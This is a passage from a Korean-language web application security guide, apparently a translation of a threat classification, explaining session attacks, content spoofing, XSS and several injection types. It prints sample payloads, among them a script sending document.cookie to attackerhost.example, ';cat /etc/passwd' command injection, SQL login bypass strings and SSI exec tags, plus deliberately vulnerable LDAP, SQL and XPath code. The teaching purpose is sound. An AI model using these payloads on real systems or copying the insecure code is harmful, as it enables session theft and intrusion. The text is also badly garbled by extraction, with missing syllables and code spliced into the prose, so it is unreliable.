사이트에서는 사유 알고리즘(proprietary algorithms)을 사용해서 세션 ID를 생성하
고자 한다. 이런 커스텀 방법론(custom methodology)은 자칫 통계수치만 증가시켜
세션 ID를 만들어 낼 수 있다. 는 시간과 다른 컴퓨터간 특정 변수를 계산에 넣
어 조 더 복잡한 처리 차가 있을 수 있다. 이런 ID는 세션 폼 필드나 URL에 숨
겨져서 쿠키에 장된다. 만약 공격자가 세션 ID를 생성하는 데 쓰인 알고리즘을
결정하면 다음과 같이 공격이 진행된다.
1) 공격자는 재 세션 ID가 필요한 웹 어 리 이션에 연결한다.
2) 공격자는 다음 세션 ID를 계산하거나 무차별 공격한다.
3) 공격자는 쿠키/숨겨진 폼 필드/URL안의 재 값을 바꾸고 다음 사용자의 신원을
가정한다.
□ 불충분한 인가(Insufficient Authorization)
불충분한 인가는 웹사이트가 액세스 컨트롤 제한 수 를 높여야 하는 민감한 내
용이나 기능에 한 액세스를 허용할 때 일어난다. 웹사이트에서 사용자를 인가한
다고 해서 임의로 허가되어야 하는 내용이나 기능에까지 모두 100% 액세스가 가능
하다는 것을 뜻하지는 않기 때문이다. 웹사이트의 민감한 부분은 리자 정도를 제외
하고는 제안될 필요가 있음을 뜻하는 것이다. 를 들면, 웹사이트는 리 컨텐츠와
기능을 /admin이나 /logs와 같이 숨겨진 디 터리에 보 했었다. 공격자가 직 이런
디 터리를 요청했을 때에 액세스가 가능했다. 그래서 공격자는 웹 서버를 재설정
하거나 민감한 정보에 액세스하거나 웹사이트를 해칠 수 있음을 뜻한다.
□ 불충분한 인가(Insufficient Session Expiration)
불충분한 세션 만료는 공격자가 오래된 세션 자격증명(session credential)이나 세
션 ID를 인가 받기 해 다시 쓰는 경우에 일어난다. 불충분한 세션 만료는 다른
사용자의 도난 도용 등의 공격에 한 웹사이트의 노출을 증가시키는 것이다.
HTTP는 stateless protocol이기 때문에, 웹사이트에서는 보통 요청이 들어올 때마다
세션 ID를 사용자를 식별하는 고유 수단으로 써왔다. 결과 으로 다수의 사용자가
같은 계정으로 액세스하는 것을 막기 해 각 세션 ID의 기 성이 유지되어야만 했
다. 도난당한 세션 ID는 다른 사용자의 계정을 보거나 사기 트랜잭션을 수행하는데
쓰일 수 있음을 뜻하는 것이다. 를 들어 공격자는 네트워크 스니퍼(네트워크 분석
기, network sniffer)나 XSS를 통해 세션 ID를 가로챌 수 있다. 도난당한 토큰이 바
로 쓰인다면 세션만기일을 짧게 잡는다고 해서 별 도움이 안될 지 몰라도 계속해서
그 세션 ID가 재사용되는 것은 막아 것이다. 불충분한 세션 만료 때문에 공격자
는 웹 라우 의 뒤로 가기 버튼을 사용해서 희생자가 액세스했던 이 웹 페이지
에 액세스 할 수 있음을 뜻한다. 만기일을 길게 잡으면 공격자가 유효한 세션 ID를
추측해서 성공할 확률을 높여주는 셈이 된다. 시간이 길면 동시 발생 세션 수와 개
- 15 -
방세션수가 많아져서 공격자가 추측할 수 있는 숫자풀이 커지기 때문이다.
□ 세션 고정(Session Fixation)
세션 고정은 사용자의 세션 ID이 명시 값(explicit value)이 되도록 강요하는 공
격 기법이다. 타깃이 되는 웹사이트의 기능에 따라 여러 개의 기법이 세션 ID 값을
"고정"시키기 해 사용될 수 있다. 이런 기법은 XSS에서부터 웹사이트에 이
HTTP 요청을 공격(pepper)하는 기법에 이르기까지 다양하다. 사용자의 세션 ID가
고정된 다음에 공격자는 사용자가 로그인 할 때까지 기다려야 한다. 사용자가 로그
인을 하면 공격자는 미리 정한 세션 ID 값을 이용하여 온라인 신원을 가정한다.
일반 으로 세션 리 시스템에는 두 가지가 있다. 첫 번째는 웹 라우 가 어떤
ID든 명시하도록 해주는 "permissive" 시스템이다. 두 번째는 서버측 발생값
(server-side generated values)만 수용하는 "엄격한(strict)" 시스템이다. Permissive
시스템에서 임의 세션 ID는 웹사이트와의 없이 유지된다. Strict 시스템에서
는 공격자가 "트랩세션(trap-session)"을 유지해야 한다. 주기 으로 웹사이트 이
있어야 하며 강제종료 타임아웃(inactivity timeout)을 방지해야 한다. 세션 고정
(Session Fixation)에 한 능동 인 보호가 없을 때, 인증 받은 사용자를 확인하기
한 세션을 사용하면 어떤 웹사이트에도 공격이 가능하다는 말이다. 세션 ID를 쓰
는 웹사이트는 통상 쿠키를 이용하고, URL과 숨겨진 폼 필드 한 쓰이고 있다. 불
행히도, 쿠키기반 세션은 가장 쉬운 공격 상이다. 따라서, 부분의 알려진 공격방
법은 쿠키 고정을 겨냥한 공격이라고 해도 과언이 아니다. 세션 고정 공격은 보통
세 단계로 진행되는데 다음 아래와 같다.
1) 세션 셋업
공격자는 타깃웹사이트를 한 "트랩 세션"을 조정하고 그 세션의 ID를 획득한다.
는 공격자는 공격에서 쓰인임의 세션 ID를 선택할 수도 있다. 일부 경우에 설정
된 트랩 세션 값은 반복되는 웹사이트 을 유지해야 한다.
2) 세션 고정
공격자는 트랩세션 값을 사용자의 라우 에 소개하고 사용자의 세션 ID를 고정한다.
3) 세션 입장
공격자는 사용자가 타깃 웹사이트에 로그인할 때까지 기다린다. 사용자가 로그인을
하면 고정된 세션ID 값이 사용되고 그러면 공격자는 넘겨받을 수 있게 된다.
다음은 사용자의 세션 ID 값을 고정을 어떻게 시키는지 실제 를 통해 알아보겠다.
- 16 -
o 클라이언트측 스크립트(Client-side script)를 이용한 쿠키 발행
새로운 세션 ID 쿠키 값 발행하기 해 도메인의 어느 웹사이트에나 존재하는
XSS 취약성은 쿠키 값을 수정하는데 쓰일 수 있다.
http://example/<script>document.cookie="sessionid=1
234;%20domain=.example.dom"</script>.idc
o 메타 태그를 이용한 쿠키 발행
이 방법은 이 방법과 비슷하지만 XSS가 HTML 스크립트 태그 인젝션 공격을
방지할 때 효과 이다.
http://example/<meta%20http-equiv=Set-Cookie%20
content="sessionid=1234;%20domain=.example.dom">.idc
o HTTP 응답 헤더를 이용한 쿠키 발행
공격자는 타깃웹사이트나 도메인 내 다른 웹사이트가 세션 ID 쿠키를 발행하도록
강요하는 방법이다.
- 도메인 내 웹 서버 침입( : 리가 잘못된 WAP 서버)
- 사용자의 DNS서버를 해침. 공격자의 웹 서버를 도메인에 효율 으로 부가시킴
- 악성 웹 서버를 도메인에 조정( : 도우 2000도메인에 워크스테이션, 모든 워
크스테이션 한 DNS 도메인에)
- HTTP 응답 분리 공격악용
o 장기 세션 고정화 공격
사용자가 컴퓨터를 재시작하고 나서도 세션이 고정되게 해 다.
http://example/<script>document.cookie="sessionid
=1234;%20 Expires=Friday,%201Jan2010%2000:00:00%20GMT"</script>.idc
3.3 클라이언트측 공격(Client-side Attacks)
클라이언트측 공격은 웹사이트 사용자에 한 남용(abuse)이나 악용(exploitation)
에 을 맞춘다. 사용자가 웹사이트를 방문했을 때에 기술 ․심리학 으로 양자
간의 신뢰가 구축이 된다. 사용자는 방문한 웹사이트가 유효한 내용을 달해 것
으로 믿고 방문하는 동안 공격이 없을 것으로 기 한다. 이러한 계 기 치를
역이용하는 것이다.
□ 컨텐츠 스푸핑(Contents Spoofing)
컨텐트 스푸핑은 사용자가 웹사이트에 나타나는 특정 컨텐트가 합법 인 것이며
출처가 외부소스가 아니라고 믿게 하는 공격기법이다. 일부 웹 페이지는 동 으로
- 17 -
구축된 HTML 컨텐트 소스를 사용한다. 를 들어, 임의 소스 치(<frame
src="http://foo.example/file.html">)는 URL 매개변수 값으로 specify될 수 있다.
(http://foo.example/page?frame_src=http://foo.example/file.html). 공격자는 "frame_src"
매개변수 값을 "frame_src=http://attacker.example/spoof. html"로 교환할 수 있게
된다. 결과 페이지가 떴을 때, 라우 치 바는 으로 봤을 때에는 사용자가
상했던 도메인(foo.example)에 남아있게 되나, 실제로 외부 데이터(attacker.example)가
합법 인 컨텐트의 옷을 입고 있는 것이다. 특별히 만들어진 링크가 사용자의 이메일
이나 메신 로 보내져서 게시 에 남게 된다. 는 XSS공격을 써서 사용자에게 강
요할 수 있다. 만약 공격자가 자신의 악성 URL을 써서 지정 웹 페이지를 사용자가
방문하도록 하는데 성공하면 사용자는 인증된 컨텐트를 보고 있다고 믿게 된다. 사
용자는 스푸핑된 컨텐트를 무조건 믿게 된다. 라우 로 이션 바에 http://foo.example
라고 뜨기 때문이다. 하지만 사실 진짜 HTML 임은 http://attacker.example가
된다. 이 공격은 사용자와 웹사이트간 형성된 신뢰 계를 이용하는 것이다. 이 기법은
가짜(fake) 웹 페이지를 생성하는데 쓰여져 왔으며 여기에는 로그인 폼, 웹페이지
변조(defacements), 거짓 보도자료(false press releases)등이 있다. 다음은 를 통해
컨텐츠 스푸핑 공격을 알아보도록 하겠다.
웹사이트가 보도자료 웹 페이지를 해 동 으로 생성된 HTML 임을 사용한
다고 하고 사용자는 (http://foo.example /pr?pg=http://foo.example/pr/01012003.html)과
같은 링크를 방문하게 될 것이다. 결과 웹페이지 HTML은 아래와 같을 것이다.
<HTML>
<FRAMESET COLS="100, *">
<FRAME NAME="pr_menu" SRC="menu.html">
<FRAME NAME="pr_content"SRC="http://foo.example/pr/01012003.html>
</FRAMESET>
</HTML>
에서 보이는 "pr"웹 어 리 이션은 정 메뉴(static menu)와 동 으로 생성
된 FRAME SRC가 있는 HTML을 생성하고 있다. "pr_content" 임은 요청된
보도자료(press release) 컨텐트를 보여주기 해 "pg"의 URL 매개변수 값으로부터
소스를 끌어낸다. 그러나, 공격자가 정상 URL을 http://attacker.example/
spoofed_press_release.html 로 바꾸면 어떻게 될까? "pg" 값에 한 한 온 성
검사(sanity checking)가 없으면 결과 HTML은 아래와 같이 될 것이다:
<HTML>
<FRAMESET COLS="100, *"><FRAME NAME="pr_menu" SRC="menu.html">
<FRAME NAME="pr_content" SRC="
http://attacker.example/spoofed_press_release.html">
</FRAMESET>
</HTML>
- 18 -
□ XSS(Cross-site Scripting)
크로스사이트스크립 (XSS)은 웹사이트가 공격자 제공 실행가능 코드를 에코
(echo)하도록 강요하는 공격기법이다. 이는 사용자의 라우 에 로드된다. 코드 자체는
보통 HTML/JavaScript로 쓰여 지지만 VBScript, ActiveX, Java, Flash, 그 외 라우
지원 기술로 확 될 수 있다.
사용자의 라우 가 공격자의 코드를 수행하도록 하는데 성공하면 코드는 호스
웹사이트의 보안 컨텐트( 는 zone)내에서 돌아가게 된다. 이때, 코드는 어떤 민감
한 데이터라도 라우 로 액세스 가능하다면 읽고, 수정하고 송할 능력을 갖게
된다. XSS 공격은 본래 사용자와 웹사이트간의 신뢰 계를 해치는 것이다. XSS공격
에는 두 가지가 있다. 지속 이지 않은 공격과 지속 인 공격이다. 지속 이지 않은
공격은 사용자가 악성 코드를 만들어 특별히 정교하게 만든 링크로 방문하도록 한
다. 링크는 방문하면 URL에 내장된 코드가 에코(echo)되고 사용자의 웹 라우
내에서 수행된다. 지속 인 공격은 악성 코드가 일정기간 장되었던 웹사이트에
제출될 때 발생한다. 공격자가 선호하는 타깃에는 게시 게시물, 웹 메일 메시지,
웹 채 소 트웨어가 있다. 다음은 를 통해 XSS 공격을 알아보도록 하겠다.
1) 지속 인 공격(Persistent Attack)
많은 웹사이트에서 가입한 사용자가 을 올릴수 있는 게시 을 호스 하고 있다.
가입한 사용자는 보통 을 올릴 수 있도록 인증해주는 세션 ID 쿠키로 추 당한다.
만약 공격자가 특별히 만든 JavaScript를 포함한 을 올리게 되면 그 을 읽은
사용자의 쿠키와 계정이 훼손될 수 있다.
<SCRIPT>
document.location='http://attackerhost.example/cgi-bin/
cookiesteal.cgi?'+document.cookie
</SCRIPT>
2) 지속 이지 않은 공격(Non-Persistent Attack)
많은 웹 포탈에서 웹사이트의 개인화면을 제공하고 있다. 그리고 로그인한 사용자
에게 "<이름>님, 환 합니다"와 같은 환 메세지를 띄운다. 때로 로그인한 사용자를
참조하는 데이터가 쿼리되어 스트링내 장되어 화면으로 에코(echo)되는 경우가
있다
http://portal.example/index.php?sessionid=12312312& username=Joe
최종 사용자에게 스푸핑된 "attacker.example" 컨텐트가 진짜 내용처럼 나타나고
합법 인 소스에서 달되게 되는 것이다.
- 19 -
에서 볼 수 있듯이 사용자 이름 "Joe"는 URL에 장된다. 결과 웹페이지는
"Welcome, Joe"라는 메시지를 띄운다. 만약 공격자가 쿠키를 훔치는 JavaScript
(cookie-stealing JavaScript)를 삽입해서 URL에 있는 사용자 이름 필드를 수정할 수
있다면 사용자 계정에 한 권한을 얻을 수도 있게 되는 것이다. JavaScript가 URL에
내장된 것을 보면 많은 사람들이 의심을 가질 것이다. 그래서 부분의 경우, 공격
자는 아래 와 비슷하게 악성 페이로드(payload)를 URL 인코딩한다.
쿠키를 훔치는 URL(Cookie Stealing URL)의 URL 암호화 :
http://portal.example/index.php?sessionid=12312312&
username=%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65
%6E%74%2E%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70
%3A%2F%2F%61%74%74%61%63%6B%65%72%68%6F%73%74%2E%65
%78%61%6D%70%6C%65%2F%63%67%69%2D%62%69%6E%2F%63%6F
%6F%6B%69%65%73%74%65%61%6C%2E%63%67%69%3F%27%2B%64
%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3C%2F%73
%63%72%69%70%74%3E
쿠키를 훔치는 URL의 암호화 :
h t t p : / / p o r t a l . e x a m p l e / i n d e x . p h p ? s e s s i o n i d = 1 2 3 1 2 3 1 2 &
username=<script>document.location='http://attacker host.example/cgi- bin/cookiesteal.cgi?
'+document.cookie</script>
3.4 명령어 수행(C o m m a n d E x e c u t i o n)
여기에서는 웹사이트에 한 원격 수행을 목 으로 한 공격에 해 다룬다. 모든
웹사이트는 요청을 완수하기 해 사용자가 제공하는 데이터를 이용한다. 사용자가
제공하는 데이터는 종종 구조 명령(construct commands)을 창출하기 해 쓰이며
그 결과 동 인 웹 페이지 컨텐트가 나오게 된다. 이 과정이 안 하지 못하게 진행
되면 공격자가 명령어 수행을 바꿀 수 있게 되는 것이다.
□ 버퍼 오버 로우(Buffer Overflow)
버퍼 오버 로우 익스 로이트는 메모리를 덮어써서 어 리 이션의 흐름을 바꾸는
것이다. 버퍼 오버 로우는 에러 컨디션으로 이어지는 경우 에 흔한 소 트웨어
결함이다. 이 에러 컨디션은 데이터가 메모리에 버퍼사이즈 처리용으로 할당된 량
이상으로 여지면 발생한다. 버퍼가 오버 로우 되면서 인 한 메모리 주소가 덮어
써질 때 소 트웨어에 장애나 결함이 생긴다. 규제가 없으면, 히 만들어진 입력
(properly-crafted input)이 버퍼 오버 로우에 쓰일 수 있어 여러 보안 문제를 야기
할 수 있게 되는 것이다. 버퍼 오버 로우는 메모리가 corrupt되어 소 트웨어 장애
- 20 -
가 생길 때 서비스거부(DoS) 공격으로도 쓰일 수 도 있다. 더 요한 것은 버퍼 오
버 로우 공격이 어 리 이션 서비스 순서를 바꿀 수도, 의도하지 않은 동작을 강
요할 수도 있는 능력이 있다는 것이다. 버퍼 오버 로우 취약성은 스택 포인터
(stack pointer)를 덮어쓰기 해, 로그램이 악성 명령을 수행하지 못하도록 리디
션하기 해 쓰여져 왔다. 버퍼 오버 로우는 한 로그램 변수를 바꾸기 해
서도 쓰여져 왔다. 버퍼 오버 로우의 주된 이유로는 공격자가 어 리 이션 소스
코드나 소 트웨어 이진(binary)을 분석해야 하기 때문에 생기게 되는데, 공격자가
원격시스템에 있는 커스텀 코드(custom code)를 악용해야 하기 때문에 공격을 은
하게 진행시켜야 했고 성공률도 희박했다. 버퍼 오버 로우 취약성은 부분 C나
C++과 같은 로그래 언어에서 가장 흔히 발생하며, 최근에는 웹 로그램인
CGI 로그램에서도 발생하고 있다.
□ 포맷 스트링 공격(Format String Attack)
포맷 스트링 공격은 다른 메모리 스페이스에 액세스하는 라이 러리 특징(library
feature)을 포맷하는 스트링을 사용하여 어 리 이션의 진행순서를 바꾼다. 취약성은
스트링 입력을 특정 C/C++ 기능. ( : fprintf, printf, sprintf, setproctitle, syslog,
...)을 해 포맷하면서 사용자 제공 데이터가 직 사용될 때 발생한다. 공격자가
웹 어 리 이션에 한 매개변수 값으로써 printf 변환 문자( :"%f", "%p", "%n" 등)로
이루어진 스트링을 지나면 다음 아래와 같은 행 가 가능해 진다.
- 서버에 임의의 코드를 실행할 수 있다.
- 스택 외 (off the stack) 값을 읽을 수 있다.
- 조각내기 장애/소 트웨어 충돌을 일으킬 수 있다.
다음은 를 통해 포맷 스트링 공격을 알아보도록 하겠다.
웹 어 리 이션이 사용자가 지정한 매개변수 emailAddress(이메일주소)를 가지
고 있다고 가정하자. 이 어 리 이션을 이 변수의 값을 printf 기능을 사용하여
린트하게 된다.
printf(emailAddress);
EmailAddress 매개변수로 보내진 값이 변환문자(conversion character)를 포함하
고 있다면 printf는 변환문자(conversion character)를 구문분석(parse)하고 추가 공
된 유사 인수(argument)를 사용할 것이다. 만약 그런 인수(argument)가 실제로 존
재하지 않는 다면 스택(stack)으로부터의 데이터가 printf 기능에 의해 기 되는 순
서에 맞게 사용될 것이다. 이러한 경우 포맷 스트링 공격의 가능한 사용은 다음과
같다:
- 스택으로부터의 데이터를 읽는다: 만약 printf 기능의 출력 스트림(output
stream)이 공격자에게 다시 가게 되면 공격자는 conversion 문자 "%x"를 보내어
(1회 이상) 스택의 값을 읽을 수 있다.
- 로세스 메모리로부터 문자 스트링을 읽을 수 있다: printf 기능의 출력스트림
- 21 -
line 0: <html>
line 1: <body>
line 2: <%@ Language=VBScript %>
line 3: <%
line 4: Dim Username
line 5: Dim Filter
line 6: Dim LdapObj
line 7:
line 8: Const LDAP_SERVER = "ldap.example"
line 9:
line 10: userName = Request.QueryString("user")
line 11:
(output stream)이 다시 공격자에게 다시가게 되면, 공격자는 (특정 치에 도달
하기 해서 다른 변환문자와) "%s" 변환문자를 사용하여 임의의 메모리 로세
스 메모리로부터 문자 스트링을 읽을 수 있다: printf 기능의 출력스트림(output
stream)이 다시 공격자에게 다시 가게 되면, 공격자는 "%s" 변환 문자를 사용하
여 임의의 메모리 치에 있는 문자스트링을 읽을 수 있게 되는 것이다.
- 로세스 메모리에 있는 치에 정수값(interger value)를 쓸 수 있다: "%n" 변환
문자를 써서, 공격자는 정수값을 메모리 내 어느 치에나 쓸 수 있다
□ LDAP 인젝션(LDAP Injection)
LDAP(Lightweight Directory Access Protocol) 인젝션 공격은 LDAP 문장을 사용
자가 제공하는 입력으로 부터 구성되는 웹사이트를 악용하기 해 쓰이는 기법이다.
LDAP은 X.500 디 터리 서비스를 조회하고 조작하기 한 공개표 (open-standard)
로토콜이다. LDAP 로토콜은 TCP와 같은 인터넷 송 로토콜 에서 작동한
다. 웹 어 리 이션은 사용자 제공 입력을 사용해서 동 인 웹 페이지 요청을
한 커스텀 LDAP 문장을 생성할 수 있으며, 웹 어 리 이션이 사용자 제공 입력을
히 모두삭제 하지 못하면, 공격자가 LDAP 문장의 구성을 변경할 수 있게 된다.
공격자가 LDAP 문장을 수정할 수 있게 되면 그 로세스는 그 명령을 수행하는
구성요소처럼 같은 허가를 받고 진행되게 된다. 즉, 쿼리에 한 권리나, LDAP 트
리 내의 어떤 것이라도 수정 삭제할 수 있는 권리를 뜻하기 때문이다. 같은 종
류의 SQL 인젝션 공격에서도 사용 가능한 고 악용 기법을 LDAP 인젝션 공격에
서도 비슷하게 용할 수 있음을 말해주는 것이다.
다음은 를 통해 LDAP 인젝션이 어떻게 가능한지 알아보겠다.
Vulnerable code with comments:
- 22 -
line 12: if( userName = "" ) then
line 13: Response.Write("<b>Invalid request.
Please specify a valid user name</b><br>")
line 14: Response.End()
line 15: end if
line 16:
line 17:
line 18: ")" ' filter = "(uid=" + CStr(userName) +
searching for the user entry
line 19:
line 20:
line 21: 'Creating the LDAP object and setting
the base dn
line 22: Set ldapObj =
Server.CreateObject("IPWorksASP.LDAP")
line 23: ldapObj.ServerName = LDAP_SERVER
line 24: ldapObj.DN = "ou=people,dc=spilab,dc=com"
line 25:
line 26: 'Setting the search filter
line 27: ldapObj.SearchFilter = filter
line 28:
line 29: ldapObj.Search
line 30:
line 31: 'Showing the user information
line 32: While ldapObj.NextResult = 1
line 33: Response.Write("<p>")
line 34:
line 35: Response.Write("<b><u>User
information for : " +
ldapObj.AttrValue(0) + "</u></b><br>")
line 36: For i = 0 To ldapObj.AttrCount -1
line 37: Response.Write("<b>" +
ldapObj.AttrType(i) + "</b> :
" + ldapObj.AttrValue(i) + "<br>" )
line 38: Next
line 39: Response.Write("</p>")
- 23 -
line 40: Wend
line 41: %>
line 42: </body>
line 43: </html>
코드를 보면 10번째 의 username(사용자ID) 변수가 user(사용자) 매개변수로
기화되고 다시 그 값이 비었는지를 확인하는 것을 보게 된다. 해당 값이 비지 않
으면 username(사용자ID)은 18번째 의 filter(필터) 변수를 기화하는데 쓰인다.
이 새로운 변수는 27번째 의 SearchFilter(검색필터)에 한 요청에 쓰이게 될
LDAP 쿼리 구성에 직 으로 쓰인다. 이 시나리오에서 공격자는 LDAP 서버에서
조회결과에 해 인 컨트롤을 갖게 된다. 그리고 코드가 32번째 라인에서 40번
째 라인에 도달하면 쿼리 결과를 얻게되고, 32-40에서는 모든 결과와 속성이 다시
사용자에게 나타나게 되는 것이다.
□ OS Commanding
OS Commanding은 어 리 이션 입력 조작을 통해 OS 명령어를 수행시켜서 웹
사이트를 악용하는 공격 기법이다. 웹 어 리 이션이 사용자의 입력을 통해 쓰기
에 어 리 이션 코드 안에서 하게 모두삭제하지 못하면, 어 리 이션이 OS
명령어를 수행하도록 속일 수 있다. 수행된 명령어는 그 명령어를 수행시키는 구성
요소와 같은 허가권을 갖게 된다
다음은 사용자의 세션 ID 값을 고정을 어떻게 시키는지 실제 를 통해 알아보겠다.
펄은 ‘I’( 이 ) 문자를 일명 끝에 추가시켜서 로세스에서 이핑 데이터가
개방 문장(open statement)으로 가도록 해 다.
# Execute "/bin/ls" and pipe the output to the open statement open(FILE,
"/bin/ls|")
웹 어 리 이션은 템 릿으로 표시되었거나 사용된 일을 하는 매개변수를 포
함할 때가 많다. 웹 어 리 이션이 사용자가 입력한 것을 모두삭제 하지 못하면
공격자는 매개변수 값을 이 심볼에 뒤따른 셸 명령어를 포함하는 것으로 바꿀
수 있다.
웹 어 리 이션의 원래 URL이 아래와 같다면
http://example/cgi- bin/showInfo.pl?name=John&template=tmp1.txt
템 릿 매개변수 값을 바꿔 공격자는 웹 어 리 이션이 명령어/bin/ls 을 수행하도
록 속일 수 있다. http://example/cgi-bin/showInfo.pl?name=John&template=/bin/ls
부분의 스크립 언어는 다양한 실행 기능을 사용해서 런타임 동안 로그래머가
OS 명령어를 수행하도록 해 다. 사용자가 입력한 것이 모두삭제 되지 않고, 기능
요청안에서 사용되도록 웹 어 리 이션이 허락하면 공격자가 원격으로 OS 명령어
- 24 -
를 조종할 수 있게 되는 것이다. 를 들어 여기에 시스템 디 터리(유닉스 시스템)
내용을 나타내는 PHP 스크립트가 있다고 가정하자.
셸 명령 실행:
exec("ls -la $dir",$lines,$rc);
OS명령어에 세미콜론(;)을 첨가함으로써 웹 어 리 이션이 두 번째명령을 수행할
수 있게 되었다 http://example/directory.php?dir=%3Bcat%20/etc/passwd 결과는
/etc/passwd 일의 내용을 복구하게 되는 것이다.
□ SQL 인젝션(SQL Injection)
SQL 인젝션은 사용자제공입력으로부터 SQL 문장을 구성하는 웹사이트를 악용하
던 공격기법이다. 구조 질의 언어(SQL)은 쿼리를 데이터베이스로 보내는 방법을
사용한다. 부분의 small and industrial-strength 데이터베이스 어 리 이션은
SQL 문장을 사용해서 액세스를 얻을 수 있다. SQL은 ANSId 와 ISO 표 이다.
그러나 SQL을 지원하는 많은 데이터베이스 제품이 표 언어(standard language)에
해 사설 확장자(proprietary extensions)를 쓰고, 웹 어 리 이션은 동 인 웹 페
이지 요청을 해 사용자 제공입력을 사용해서 커스텀 SQL 문장을 생성할 수 있다.
웹 어 리 이션이 사용자가 입력한 것을 모두삭제 하지 못하면 공격자가 백엔드
SQL 문장의 구조를 바꿀 수 있다. 공격자가 SQL 문장을 수정할 수 있게 되면 이
로세스는 그 명령을 수행하는 구성요소와 같은 허가권을 갖게 된다. 이 공격의
향으로 인해 공격자는 데이터베이스에 한 체 인 통제력을 얻거나 심지어 시
스템의 명령어를 수행할 수 있게 될 수도 있다. 다음은 SQL 인젝션을 어떻게 수행
하는지 실제 를 통해 알아보겠다.
SQLQuery = "SELECT Username FROM Users WHERE
Username = '" & strUsername & "' AND Password = '"
& strPassword & "'" strAuthCheck =
GetQueryResult(SQLQuery)
코드에서 개발자는 사용자 입력을 폼으로부터 취해서 SQL 쿼리를 직 내장
하고 있다. 공격자가 다음과 같은 아이디와 비 번호를 제출했다고 하자
Login: ' OR ''='
Password: ' OR ''='
이로 인해 SQL 쿼리 결과는 다음과 같이 나타나게 되는 것이다.
SELECT Username FROM Users WHERE Username = '' OR
''='' AND Password = '' OR ''=''
사용자 제공 데이터를 Users table의 엔트리와 비교하는 신 쿼리는 '' (비어있는
- 25 -
스트링)을 '' (비어있는 스트링)에 비교하고 있다. 이러면 True result를 보여주게 되
며 그러면, 공격자는 Users table의 첫 번째 사용자 처럼 로그인하게 된다.
SQL 인젝션 공격에는 두 가지 방법이 있는 것으로 알려져 있다. 첫 번째는
Normal SQL 인젝션이며, 두 번째는 BlindSQL 인젝션이다.
1) 노멀 SQL 인젝션(Normal SQL Injection)
공격자는 union select 문장을 매개변수에 첨부시켜 데이터베이스에 액세스할 수
있는지 여부를 테스트해볼 수 있다.
http://example/article.asp?ID=2+union+all+select+na me+from+sysobjects
그러면 SQL 서버는 다음과 같은 에러를 보여 수 있다
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL
statement containing a UNION operator must have an equal number of
expressions in their target lists.
이는 공격자의 SQL 문장이 작동하기 해서는 알맞은 열 수를 추측해야 한다는
것을 공격자에게 말해 다.
2) Blind SQL 인젝션 공격
Blind SQL 인젝션 공격에서 서버는 데이터베이스 에러 신 고객 친화 인 오류
페이지를 반환해 다. 사용자에게 오류가 났다고 알려주면서. 이런 경우에 SQL 인
젝션 공격은 여 히 가능하지만 탐지하기는 어렵다. 일반 으로 Blind SQL 인젝션
공격을 탐지하는 방법은 매개변수 값에 참/거짓 문장을 넣는 것이다.
다음아래와 같이 웹사이트에 다음의 요청을 수행하면
http://example/article.asp?ID=2+and+1=1 다음과 같은 웹 페이지를 보여 것이다:
http://example/article.asp?ID=2 SQL 문장'과 1=1' 은 항상 참이기 때문이다.
웹사이트에 다음의 요청을 하면: http://example/article.asp?ID=2+and+1=0 웹사이
트가 친 한 설명을 덧붙인 에러 페이지로 돌아가거나 어떤 페이지도 보여주지 않
을 것이다. 이것은 SQL 문장 "and 1=0"이 항상 참이기 때문이다. 웹사이트가 Blind
SQL 인젝션에 약하다는 것을 공격자가 한번 알아내면 어떤 경우에는 노멀 SQL 인
젝션 공격보다 더 쉽게 그 취약성을 이용할 수 있게 되는 것이다.
□ SSI 인젝션 공격(SSI Injection)
SSI 인젝션 공격은 공격자가 웹 어 리 이션으로 코드를 보낼 수 있도록 해주는
서버측 악용 기법이다. HTML 웹 페이지를 보여주기 에 웹 서버는 서버에 포함된
문장(Server-side Include statement)을 사용자에게 제공하기 에 분석(parse)하고
실행하게 된다. 이때, 공격자가 서버에 포함된 문장(Server-side Include statement)을
제출하면, 임의 운 시스템 명령을 실행할 수 있는 능력을 갖게 되거나 다음에 해당
- 26 -
XmlDocument XmlDoc = new XmlDocument();
XmlDoc.Load("...");
XPathNavigator nav = XmlDoc.CreateNavigator();
XPathExpression expr =
n a v . C o m p i l e ( " s t r i n g ( / / u s e r [ n a m e /t e x t ( ) = ' " + T e x t B o x 1 . T e x t + " ' a n d
password/text()='"+TextBox2.Text+
"']/account/text())");
웹 페이지가 뜰 때 제한된 일 내용까지 포함할 수 있는 능력을 갖게 된다. 따라서,
다음과 같이 SSI 태그는 공격자가 유닉스 기반 시스템의 루트 디 터리 리스 에
들어갈 수 있게 해 다.
<!--#exec cmd="/bin/ls /" -->
한, SSI태그는 공격자가 데이터베이스 연결 스트링이나 .Net 설정 일에 포함된
다른 민감한 데이터를 획득할 수 있도록 해 다.
<!--#INCLUDE VIRTUAL="/web.config"-->
□ XPath 인젝션(XPath Injection)
XPath 인젝션은 사용자입력으로부터 Xpath 쿼리를 구성하는 웹사이트를 악용하
는데 쓰이는 공격기법이다. Xpath 1.0은 XML 문서의 일부분을 참조하는데 쓰이던
언어이다. 어 리 이션은 Xpath 1.0을 직 으로 써서 XML 문서를 조회할 수 있다.
Xpath의 구문(syntax)은 SQL 쿼리와 비슷한 이있다. 실제로 SQL 같은 쿼리를
XML 문서에 Xpath를 사용해서 형성할 수 있다. 를 들어, user(사용자)이름 요소
를 포함한 XML 문서가 있다고 가정하자. 각각의 user 요소는 name(이름),
password(비 번호), account(계정)의 세 가지 하 요소를 가지게 된다. 다음의
Xpath expression은 이름이 "Jsmith"이고 비 번호는 "Demo1234"라는 사용자의 계
정번호를 생산한다.
string(//user[name/text()='jsmith' and
password/text()='Demo1234']/account/text())
어 리 이션이 안 하지 못한 입력을 쿼리에 내장하면서 실행시간(run-time)
Xpath 쿼리 구조를 사용하면 공격자가 데이터를 쿼리로 인젝션 할 수 있게 된다.
그래서 새로 형성된 쿼리가 로그래머의 의도와 다른 방향으로 분석될 수 있다.
Xpath를 사용하여 XML 문서를 쿼리하고 사용자 이름과 비 번호를 클라이언트로
부터 받는 사용자의 계정을 복구하는 웹 어 리 이션을 생각해보자. 그런 어 리
이션은 이런 값을 Xpath 쿼리 안에 직 내장할 수 있으며, 보안에 구멍이 뚫릴
수 있다. 다음은 XPath 인젝션을 어떻게 수행하는지 실제 를 통해 알아보겠다.
(assuming Microsoft ASP.NET and C#):
- 27 -
